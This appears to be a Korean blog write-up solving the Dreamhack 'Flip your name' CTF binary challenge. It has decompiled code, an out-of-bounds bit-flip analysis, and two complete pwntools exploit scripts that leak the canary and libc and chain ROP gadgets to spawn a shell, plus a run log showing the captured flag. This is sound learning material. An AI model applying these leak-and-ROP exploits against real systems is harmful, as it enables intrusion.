Description

    Flip your name


    checksec

    seo@seo:~/Desktop/flip_your_name$ checksec ./flipyourname
    [*] '/home/seo/Desktop/flip_your_name/flipyourname'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

    모든 보호 기법이 적용되어있다.


    Decompiled-src

    main

    __int64 __fastcall main(int a1, char **a2, char **a3)
    {
      setvbuf(stdin, 0LL, 2, 0LL);
      setvbuf(stdout, 0LL, 2, 0LL);
      sub_11E9();
      return 0LL;
    }

    sub_11E9

    unsigned __int64 sub_11E9()
    {
      __int64 v1; // [rsp+8h] [rbp-68h] BYREF
      char s[88]; // [rsp+10h] [rbp-60h] BYREF
      unsigned __int64 v3; // [rsp+68h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      do
      {
        memset(s, 0, 81uLL);
        printf("name? ");
        read(0, s, nbytes);
        printf("flip your name :) ");
        __isoc99_scanf("%ld", &v1);
        s[v1] = ~s[v1];
        printf("hello, %s\n", s);
        printf("want to quit? ");
        __isoc99_scanf("%2s", s);
      }
      while ( s[0] != 'y' );
      return v3 - __readfsqword(0x28u);
    }
    1. s 변수의 81바이트만큼 0 값으로 초기화시킨다.
    2. 2. name?을 출력하여 전역변수 nbytes인 80크기만큼 s에 입력받는다.
    3. s의 v1 인덱스를 입력받아 s[v1]에는 NOT으로 연산된 바이트로 바꾼다.
      hex(~s[v] & 0xff), 만약 s[v]가 0이라면, hex(~0 & 0xff) -> 0xff
    4. hello, %\n을 통해 s에 담긴 문자열을 출력한다.
    5. 프로그램을 종료할건지 “want to quit?”을 출력하는데,
      여기서 “y”를 입력하면 루프문을 빠져나오지만, 그 외에 다른 문자를 입력하면 다시 1번 과정으로 돌아간다.

    Solution

    위 그림은 sub_11E9의 스택 구조를 나타낸 것,

    name?에서 A를 80바이트만큼 채우고,
    flip your name에서 86을 입력했을 때, not 수행하기 전의 스택 구조이다.

    printf 함수는 \x00까지 문자열을 출력하지만,
    s의 인덱스인 v1값을 적절히 조절하여 oob write가 가능하기 때문에
    스택 카나리와 sub_11E9’s RET을 통해 flipyourname base주소, 그리고 main’s RET을 통해 libc base 주소를 구하는 것이 가능하다.


    s[86] ~ s[88],
    s[102] ~ s[103],
    s[110] ~ s[111],
    s[113] ~ s[119]를 not으로 연산된 값으로 덮혀야 leak을 할 수 있는데,
    이때 항상 마지막에 s[80]에 not으로 연산된 값으로 덮어써야 된다.
    while문 초기에 항상 s 변수를 81바이트만큼 0 값으로 초기화시킴으로써 s[80]이 0으로 덮히기 때문이다.

    flipyourname base 주소와 char s[88] 주소를 구했다면,
    그 거리를 계산해서, 전역변수 nbytes인 80을 not 연산된 값으로 덮어써야 된다.

    그러면 80이었던 nbytes가 hex(~80 & 0xff) = 0xaf, 175로 덮어써져서
    이제 read함수에서 80바이트만큼만 받던게 175바이트로 늘려져,
    버퍼 오버플로우가 발생시킬 수 있고 따라서 main’s RET을 조작할 수 있게 된다.

    페이로드를 구성한다면,


    위는 문제서버의 libc 파일에 있는 “/bin/sh” 문자열 주소,
    system 함수를 호출할때 50D8B 주소를 보면 sub_50900를 통해 호출한다는 것을 알 수 있고,
    2a3e5 주소에 있는 pop rdi, retn 가젯을 통해 rop으로 system(“/bin/sh”)를 실행시켜 쉘을 획득할 수 있다.

    만약에 libc나 도커 환경이 주어지지 않은 경우였다면,
    rop을 통해 flipyourname에 있는 read got 주소를 printf 함수를 통해 노출시키고, 거기에 libc_base주소를 뺀 값을

    https://libc.blukat.me/

    위 사이트에서 검색해서 해당 오프셋에 맞는 libc를 구할 수도 있겠다.

    solve.py

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    #p = process("./flipyourname")
    p = remote("host3.dreamhack.games", 8286)
    e = ELF('./flipyourname', checksec=False)
    
    def sub_11E9_control(name, flip_index, quit):
        p.sendafter("name? ", name)
        #pause()
        p.sendlineafter("flip your name :) ", str(flip_index))
        output = p.recvuntil("\n")
        output = output.split(b"hello, ")[1]
        p.sendafter("quit? ", quit + b"\x00")
    
    #pause()
    sub_11E9_control(b"A"*80, 86, b"n")
    sub_11E9_control(b"A"*80, 87, b"n")
    sub_11E9_control(b"A"*80, 88, b"n")
    sub_11E9_control(b"A"*80, 102, b"n")
    sub_11E9_control(b"A"*80, 103, b"n")
    sub_11E9_control(b"A"*80, 110, b"n")
    sub_11E9_control(b"A"*80, 111, b"n")
    sub_11E9_control(b"A"*80, 113, b"n")
    sub_11E9_control(b"A"*80, 114, b"n")
    sub_11E9_control(b"A"*80, 115, b"n")
    sub_11E9_control(b"A"*80, 116, b"n")
    sub_11E9_control(b"A"*80, 117, b"n")
    sub_11E9_control(b"A"*80, 118, b"n")
    sub_11E9_control(b"A"*80, 119, b"n")
    
    name = b"A"*80
    p.sendafter("name? ", name)
    #pause()
    p.sendlineafter("flip your name :) ", "80")
    p.recv(96)
    canary = u64(b"\x00" + p.recv(7))
    print(f"canary: {hex(canary)}")
    name_p = u64(p.recv(6) + b"\x00\x00") - 0x70
    print(f"name -> {hex(name_p)}")
    p.recv(2)
    bin_base = p.recv(6)
    bin_base = u64(bin_base + b"\x00\x00")
    bin_base = bin_base - 0x1345
    print(f"bin_base: {hex(bin_base)}")
    bin_nbytes = bin_base + 0x4010
    print(f"bin_nbytes: {hex(bin_nbytes)}")
    p.recv(10)
    libc_base = u64(p.recv(6) + b"\x00\x00") - 0x29d90
    print(f"libc_base: {hex(libc_base)}")
    p.sendlineafter("want to quit? ", b"n")
    
    #change nbytes to 175
    sub_11E9_control(b"A"*80, bin_nbytes - name_p, b"n")
    
    pop_rdi_ret = libc_base + 0x2a3e5
    
    payload = b"A"*80
    payload += b"B"*8
    payload += p64(canary)
    payload += b"C"*8
    payload += p64(pop_rdi_ret)
    payload += p64(libc_base + 0x1D8698) #/bin/sh
    payload += p64(libc_base + 0x50d8b) #system (internal)
    
    sub_11E9_control(payload, 80, b"y")
    
    p.interactive()

    Result

    seo@seo:~/Desktop/flip_your_name$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 8286: Done
    canary: 0xd70a8e8eab041000
    name -> 0x7ffdf9676780
    bin_base: 0x5580ca615000
    bin_nbytes: 0x5580ca619010
    libc_base: 0x7f9e20e24000
    [*] Switching to interactive mode
    $ ls
    flag
    flipyourname
    $ cat flag
    DH{08d8ca3b115ef6adafed3c135675f7c809a14f8b2db506b7575c304530e1ebfb}
    $
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 8286

    Tried Local

    로컬 환경: ubuntu 22.04.4 LTS / libc6 2.35-0ubuntu3.6

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64', os='linux')
    warnings.filterwarnings('ignore')
    
    p = process("./flipyourname")
    #p = remote("host3.dreamhack.games", 12197)
    e = ELF('./flipyourname', checksec=False)
    
    def sub_11E9_control(name, flip_index, quit):
        p.sendafter("name? ", name)
        pause()
        p.sendlineafter("flip your name :) ", str(flip_index))
        output = p.recvuntil("\n")
        output = output.split(b"hello, ")[1]
        p.sendlineafter("quit? ", quit)
    
    pause()
    sub_11E9_control(b"A"*80, 86, "n")
    sub_11E9_control(b"A"*80, 87, "n")
    sub_11E9_control(b"A"*80, 88, "n")
    sub_11E9_control(b"A"*80, 102, "n")
    sub_11E9_control(b"A"*80, 103, "n")
    sub_11E9_control(b"A"*80, 110, "n")
    sub_11E9_control(b"A"*80, 111, "n")
    sub_11E9_control(b"A"*80, 113, "n")
    sub_11E9_control(b"A"*80, 114, "n")
    sub_11E9_control(b"A"*80, 115, "n")
    sub_11E9_control(b"A"*80, 116, "n")
    sub_11E9_control(b"A"*80, 117, "n")
    sub_11E9_control(b"A"*80, 118, "n")
    sub_11E9_control(b"A"*80, 119, "n")
    
    name = b"A"*80
    p.sendafter("name? ", name)
    #pause()
    p.sendlineafter("flip your name :) ", "80")
    p.recv(0x6f-8-7)
    canary = u64(b"\x00" + p.recv(7))
    print(f"canary: {hex(canary)}")
    name_p = u64(p.recv(6) + b"\x00\x00") - 0x70
    print(f"name -> {hex(name_p)}")
    p.recv(2)
    bin_base = p.recv(6)
    bin_base = u64(bin_base + b"\x00\x00")
    bin_base = bin_base - 0x1345
    print(f"bin_base: {hex(bin_base)}")
    bin_nbytes = bin_base + 0x4010
    print(f"bin_nbytes: {hex(bin_nbytes)}")
    p.recv(10)
    libc_base = u64(p.recv(6) + b"\x00\x00") - 0x29d90
    print(f"libc_base: {hex(libc_base)}")
    p.sendlineafter("want to quit? ", "n")
    
    name = b"A"*80
    p.sendafter("name? ", name)
    #pause()
    p.sendlineafter("flip your name :) ", str(bin_nbytes - name_p))
    output = p.recvuntil("\n")
    output = output.split(b"hello, ")[1]
    print(output)
    p.sendlineafter("want to quit? ", "n")
    
    one_gadget = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
    pop_rdi_ret = libc_base + 0x2a3e5
    pop_rsi_ret = libc_base + 0x2be51
    pop_rdx_pop_r12_ret = libc_base + 0x11f2e7
    execve = libc_base + 0xEB5A0
    
    #bin_sh = b"/bin/sh\x00"
    payload = b"A"*(80) 
    payload += b"B"*8
    payload += p64(canary)
    payload += b"C"*8
    #payload += b"D"*8 #RET
    #payload += p64(libc_base + one_gadget[6])
    #set rdi
    payload += p64(pop_rdi_ret) 
    payload += p64(libc_base + 0x1D8678) #arg1: /bin/sh
    #set rsi
    payload += p64(pop_rsi_ret)
    payload += p64(0) #arg2: NULL
    #set rdx
    payload += p64(pop_rdx_pop_r12_ret)
    payload += p64(0) #rdx #arg3: NULL
    payload += p64(0) #r12
    #call execve
    payload += p64(execve)
    
    p.sendafter("name? ", payload)
    #pause()
    p.sendlineafter("flip your name :) ", "80")
    output = p.recvuntil("\n")
    output = output.split(b"hello, ")[1]
    print(output)
    p.sendlineafter("want to quit? ", "y")
    
    p.interactive()

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다